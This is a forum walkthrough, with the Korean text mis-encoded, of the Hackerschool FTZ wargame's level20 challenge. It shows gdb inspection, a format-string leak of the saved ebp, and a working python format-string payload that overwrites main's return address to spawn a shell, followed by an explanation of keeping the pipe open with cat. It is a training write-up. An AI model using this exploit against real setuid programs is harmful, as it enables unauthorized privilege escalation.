·¹º§ ÇØÅ·

 4, 1/1 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   randomkid
   pogusm´Ô ·¹º§ 20 Ç®ÀÌ ÀÔ´Ï´Ù.(retÁÖ¼Ò º¯°æ)

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&no=2578 [º¹»ç]


shell»óÅÂ¿Í gdb »óÅ¿¡¼­ÀÇ ret ÁÖ¼Ò´Â ´Ù¸¨´Ï´Ù.

ÇÏÁö¸¸ ½ºÅûóÀÇ ¹èÄ¡±¸Á¶´Â »ó´ëÀûÀ¸·Î °°½À´Ï´Ù.

ÀÌ ¿ø¸®¸¦ ÀÌ¿ëÇÏ´Â °Ì´Ï´Ù.

Ä¿³Î 2.4À̹ǷΠȯ°æº¯¼öÀÇ ½©Äڵ尡 ½ÇÇàÀÌ °¡´ÉÇÕ´Ï´Ù.

¸ÕÀú eggshellÀ» ¶ç¿ó´Ï´Ù.

[level20@ftz tmp]$ ./egg
Using address: 0xbffffab8
[level20@ftz tmp]$

´ÙÀ½ gdb»óÅ¿¡¼­ retÁÖ¼Ò¸¦ ¾Ë¾Æº¸°Ú½À´Ï´Ù.

[level20@ftz tmp]$ gdb -q ../attackme
(gdb) disas main
Dump of assembler code for function main:
0x080483b8 <main+0>:    push   %ebp
0x080483b9 <main+1>:    mov    %esp,%ebp
0x080483bb <main+3>:    sub    $0x58,%esp
0x080483be <main+6>:    and    $0xfffffff0,%esp
0x080483c1 <main+9>:    mov    $0x0,%eax
0x080483c6 <main+14>:   sub    %eax,%esp
0x080483c8 <main+16>:   sub    $0x8,%esp
0x080483cb <main+19>:   push   $0xc1d
0x080483d0 <main+24>:   push   $0xc1d
0x080483d5 <main+29>:   call   0x80482f8 <setreuid>
0x080483da <main+34>:   add    $0x10,%esp
0x080483dd <main+37>:   sub    $0x4,%esp
0x080483e0 <main+40>:   pushl  0x80495c0
0x080483e6 <main+46>:   push   $0x4f
0x080483e8 <main+48>:   lea    0xffffffa8(%ebp),%eax
0x080483eb <main+51>:   push   %eax
0x080483ec <main+52>:   call   0x80482c8 <fgets>
0x080483f1 <main+57>:   add    $0x10,%esp
0x080483f4 <main+60>:   sub    $0xc,%esp
0x080483f7 <main+63>:   lea    0xffffffa8(%ebp),%eax
0x080483fa <main+66>:   push   %eax
0x080483fb <main+67>:   call   0x80482e8 <printf>
0x08048400 <main+72>:   add    $0x10,%esp
0x08048403 <main+75>:   leave
0x08048404 <main+76>:   ret
0x08048405 <main+77>:   nop
0x08048406 <main+78>:   nop
0x08048407 <main+79>:   nop
End of assembler dump.
(gdb) b *main+1
Breakpoint 1 at 0x80483b9
(gdb) r
Starting program: /home/level20/attackme

Breakpoint 1, 0x080483b9 in main ()
(gdb) x/x $esp
0xbffff1e8:     0xbffff208 <--- ÀÌÀü ebp ÁÖ¼Ò
(gdb)
0xbffff1ec:     0x40038917 <--- ret
(gdb)

ret ÁÖ¼Ò´Â 0xbffff1ecÀÌ°í ÀÌÀü ebpÁÖ¼Ò´Â 0xbffff208ÀÔ´Ï´Ù.

ÀÌ µÑÀÇ Â÷ÀÌ°ªÀº Ç×»ó ÀÏÁ¤ÇÕ´Ï´Ù.

Â÷ÀÌ°ªÀ» ±¸Çϸé 0xbffff208 - 0xbffff1ec = 0x1c

ÀÌ Â÷ÀÌ°ªÀ» Àß ±â¾ïÇϽñ⠹ٶø´Ï´Ù.

±× ´ÙÀ½ ½© »óÅ¿¡¼­ ÀÌÀü ebpÁÖ¼Ò¸¦ ±¸Çغ¸°Ú½À´Ï´Ù.

[level20@ftz tmp]$ ../attackme
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
4f401574604009d5007825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825bfff000a80482b54000c660bffff234bffff1e88048412401591c040015360bffff208400389171 <--- ret ÁÖ¼Ò.
[level20@ftz tmp]$

Æ÷¸ä½ºÆ®¸µ ¹ö±×¸¦ ÅëÇؼ­ ÀÌÀü ebpÁÖ¼Ò°¡ ³ëÃâµÇ¾úÁÒ?

º¸½Ã¸é ÀÌÀü ebpÁÖ¼Ò´Â 0xbffff208·Î gdb¿Í °°Àº ÁÖ¼Ò¸¦ °®°í ÀÖ½À´Ï´Ù.

±×·³ ´ç¿¬È÷ retÁÖ¼Òµµ °°½À´Ï´Ù.

ÇÏÁö¸¸ egg½©À» Ãë¼ÒÇÑ ÈÄ ´Ù½Ã È®ÀÎÀ» Çغ¸¸é...

[level20@ftz tmp]$ exit
exit
[level20@ftz tmp]$ ../attackme
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
4f401574604009d5007825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825bfff000a80482b54000c660bffffb24bffffad88048412401591c040015360bffffaf8400389171 <--- ÀÌÀü ebpÁÖ¼Ò°¡ ´Ù¸§!!!

ÀÌÀü ebpÁÖ¼Ò°¡ 0xbffffaf8·Î½á ´Ù¸§À» ¾Ë¼ö ÀÖ½À´Ï´Ù.

ÀÌ·± Çö»óÀÌ ¹ß»ýÇÏ´Â ÀÌÀ¯´Â egg½©¿¡¼­ ¼öÇàÇϴ ȯ°æº¯¼ö µî·Ï¶§¹®ÀÔ´Ï´Ù.

¸ðµç ȯ°æº¯¼ö´Â ½ºÅÃ»ó¿¡ ¹èÄ¡µÇ´Âµ¥ egg½©ÀÇ °æ¿ì NOPÄڵ带 ºñÁ¤»óÀûÀ¸·Î Å©°Ô ³Ö½À´Ï´Ù.

Ä¿³Î 2.4¿¡¼­ ȯ°æº¯¼öÀÇ Å©±â°¡ ºñÁ¤»óÀûÀ¸·Î Ŭ °æ¿ì ½ºÅñ¸Á¶°¡ gdb¿Í shell°ú °°¾Æ Áö´Â Çö»óÀÌ ¹ß»ýÇÕ´Ï´Ù.

°¡²û egg½©À» ¶ç¿ü´Âµ¥µµ ºÒ±¸ÇÏ°í retÁÖ¼Ò°¡ ´Ù¸¥ °æ¿ìµµ Àִµ¥ ±× °æ¿ì´Â

ȯ°æº¯¼öÀÇ ³»¿ëÀ» ¼öÁ¤Ç߰ųª argv¿µ¿ªÀÇ °ªÀÌ ´Ù¸¦°æ¿ì ¹ß»ýÇÕ´Ï´Ù.

ÇÏÁö¸¸ ´Ù¸£´Ù°í ÇÒÁö¶óµµ ¾Æ±î ±¸ÇÑ gdb¿¡¼­ÀÇ ÀÌÀü ebp - retÁÖ¼Ò Â÷ÀÌ°ªÀ»

±¸ÇÑ ´ÙÀ½ shell¿¡¼­ ÀÌÀü ebp°ªÀ» ¾Ë¼ö ÀÖÀ¸¸é ¼Õ½±°Ô retÁÖ¼Ò¸¦ ¾Ë¼öÀÖ½À´Ï´Ù.

´Ù½Ã egg½©À» ½ÇÇàÇÑ ÈÄ retÁÖ¼Ò¸¦ º¯°æÇÏ¿© ½©À» ½ÇÇàÇØ º¸°Ú½À´Ï´Ù.

[level20@ftz tmp]$ ./egg
Using address: 0xbffffab8
[level20@ftz tmp]$

½©¿¡¼­ÀÇ retÁÖ¼Ò´Â 0xbffff1ecÀÔ´Ï´Ù.

[level20@ftz tmp]$ (python -c 'print "\xee\xf1\xff\xbf"+"\xec\xf1\xff\xbf"+"%49143x%4$hn"+"%15033x%5$hn"';cat) | ../attackme

...

                                                   40157460
id
uid=3101(clear) gid=3100(level20) groups=3100(level20)
my-pass
TERM environment variable not set.

clear Password is "**********************".
À¥¿¡¼­ µî·ÏÇϼ¼¿ä.

* ÇØÄ¿½ºÄðÀÇ ¸ðµç ·¹º§À» Åë°úÇϽŠ°ÍÀ» ÃàÇϵ帳´Ï´Ù.
´ç½ÅÀÇ ²öÁú±ä ¿­Á¤°ú ´É¼÷ÇÑ ¼Ø¾¾¿¡ Âù»ç¸¦ º¸³À´Ï´Ù.
ÇØÄ¿½ºÄð¿¡¼­´Â ½Ç·ÂÀÖ´Â ºÐµéÀ» ¸ð¾Æ ¿¬±¸¼Ò¶ó´Â ±×·ìÀ» ¿î¿µÇÏ°í ÀÖ½À´Ï´Ù.
ÀÌ ¸Þ½ÃÁö¸¦ º¸½Ã´Â ºÐµé Áß¿¡ ¿¬±¸¼Ò¿¡ °ü½ÉÀÖÀ¸½Å ºÐÀº ÀÚÀ¯·Î¿î ¾ç½ÄÀÇ
°¡ÀÔ ½Åû¼­¸¦ admin@hackerschool.org·Î º¸³»Áֽñ⠹ٶø´Ï´Ù.

ClearÀÇ ±ÇÇÑÀ» ȹµæÇß½À´Ï´Ù.

--------------------------------------------------------------------------

Ä¿³Î 2.4´Â ½ºÅÃÀÇ ÁÖ¼Ò°¡ °íÁ¤ÀûÀ̱⠶§¹®¿¡ ½ºÅÃ»ó¿¡ ÀÖ´Â ÁÖ¼Ò°ª°ú »ó´ëÀûÀÎ

Â÷À̸¦ ÀÌ¿ëÇÏ¸é ¾ó¸¶µçÁö °¡´ÉÇÕ´Ï´Ù.

À§¿¡¼­ º¸¿©ÁØ ¿¹´Â main()ÀÇ ¸®ÅϾîµå·¹½ºº¯Á¶Áö¸¸ Æ÷¸ä½ºÆ®¸µÀÌ ÀϾ´Â

printfÀÇ ¸®ÅϾîµå·¹½ºµµ º¯Á¶°¡ °¡´ÉÇÕ´Ï´Ù.

ÀÌÀü ±Û¿¡¼­ Áú¹®ÇϽŠ´äº¯À» ´õÇص帮°Ú½À´Ï´Ù.

Áú¹® : Ãß°¡·Î Çϳª¸¸ ´õ Áú¹® µå¸±°Ô¿ä..// ±×·¸´Ù¸é, sh-3.2# ÀÌ·±½ÄÀ¸·Î ½©ÀÌ ¶ß´Â°Ç, ÀÚ½ÄÇÁ·Î¼¼½º·Î ½©ÀÌ¶ß´Â°Ô ¾Æ´Ï¶ó, µ¶¸³µÈ ÇÁ·Î¼¼½º·Î ½©ÀÌ ¶á´Ù´Â ¸»¾¸À̽Űǰ¡¿ä??

ÀÚ½ÄÇÁ·Î¼¼½º¶ó´Â ¸»¿¡ ÁßÁ¡À» µÎ°í ÀÐÀ¸½Å°Í °°½À´Ï´Ù. ^^;;

Ç¥ÁØ ÀÔ·ÂÀ» ¿ä±¸ÇÏ´Â ÇÁ·Î±×·¥À» °ø°ÝÇؾßÇÒ °æ¿ì ÆÄÀÌÇÁ¸¦ ÅëÇؼ­

¿øÇÏ´Â Äڵ带 ³Ö¾î¾ß ÇÕ´Ï´Ù.

´ÙÀ½°ú °°ÀÌ ÀÔ·ÂÀ» ÇÒ °æ¿ì

printf "..." | ./vul

¸ÕÀú printf°¡ ½ÇÇàÀÌ µÇ°í Ãâ·ÂµÇ´Â °ªÀ» Àá½Ã ÀúÀåÇÏ°í ÀÖ½À´Ï´Ù.

ÀÌ »óÅ¿¡¼­ vulÀÌ ½ÇÇàÀÌ µË´Ï´Ù.

vul¿¡¼­ Ç¥ÁØ ÀÔ·ÂÀ» ¿ä±¸ÇÒ¶§ ±×¶§¼­¾ß printfÀÇ Ãâ·Â Äڵ带 ÀÔ·ÂÀ¸·Î ³Ö°ÔµÇ°í

printf´Â Á¾·á°¡ µË´Ï´Ù.

ÀÌ·¸°Ô µÇ¸é ´ÙÀ½°ú °°ÀÌ µË´Ï´Ù.

... | ./vul

Áï ÆÄÀÌÇÁÀÇ ¿¬°áÀÌ ÇØÁ¦°¡ µË´Ï´Ù.

ÀÌ »óÅ¿¡¼­ ÀÚ½ÄÇÁ·Î¼¼½º·Î shellÀÌ ¶á´Ù°í Çصµ ÀÔ·ÂÀ» ÇÒ¼ö ¾ø°Ô µË´Ï´Ù.

±×·¡¼­  printf "...";cat | ./vul

ÀÌ·¸°Ô ½ÇÇàÇϹǷνá

cat | ./vul --> shell

catÀ̶ó´Â Ç¥ÁØ Ãâ·Â ÇÁ·Î±×·¥À» ÀÌ¿ëÇؼ­ shell¿¡°Ô ¸í·ÉÀ» ³»¸±¼öÀÖ´Â ÆÄÀÌÇÁ¸¦

¿¬°á À¯ÁöÇϱâ À§ÇÔÀÔ´Ï´Ù.

ÆÄÀÌÇÁÀÇ ¿¬°á À¯Áö¸¦ À§Çؼ­ À§¿Í °°ÀÌ °ø°ÝÀ» Çϴ°ÍÀÔ´Ï´Ù. ^^

ÀúÀÇ ÂªÀº Áö½ÄÀÌ ´äº¯ÀÌ µÇ¾ú´ÂÁö ¸ð¸£°Ú½À´Ï´Ù.

Àúµµ pogusm´Ôó·³ ½ºÅðú ¾¾¸§ÇÒ¶§°¡ ±â¾ï³ª³×¿ä ^^

Áñ°Å¿î ÇÏ·ç µÇ¼¼¿ä~

  Hit : 3607     Date : 2007/11/21 11:29



    
pogusm ¿ì¿Õ~ Á¤¸» °í¸¿½À´Ï´Ù... ´Ê°Ô µé¾î¿Í ´Ê°ÔºÃ´Âµ¥... ÀÏ´Ü..¼±¸®ÇÃ..... /// ½Ç½ÀÇÏ°í ¿À°Ú½À´Ï´Ù~ 2007/11/21  
pogusm Á» °ÔÀ»·¯¼­.. ½Ç½ÀÇϴµ¥ ÀÌƲ°É·È³×¿ä.. ¤»¤» ^^; // ´Ù½ÃÇѹø Á¤¸» °í¸¿½À´Ï´Ù~ 2007/11/23  
4   pogusm´Ô ½©ÄÚµå Å×½ºÆ® ¹æ¹ýÀÔ´Ï´Ù.[2]     randomkid
11/23 2166
3     [re] level20 // ¸î°¡Áö Áú¹®Á» µå¸±²²¿ä..[3]     randomkid
11/20 3125
      pogusm´Ô ·¹º§ 20 Ç®ÀÌ ÀÔ´Ï´Ù.(retÁÖ¼Ò º¯°æ)[2]     randomkid
11/21 3606
1             [re] ±×³ªÀú³ª, eggshellÀÌ µÆ´Ù ¾ÈµÆ´Ù ÇÏ´Â°Ç µµ´ëü ¿Ö ±×·±°ÅÁÒ?[1]     randomkid
11/23 2071
1

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org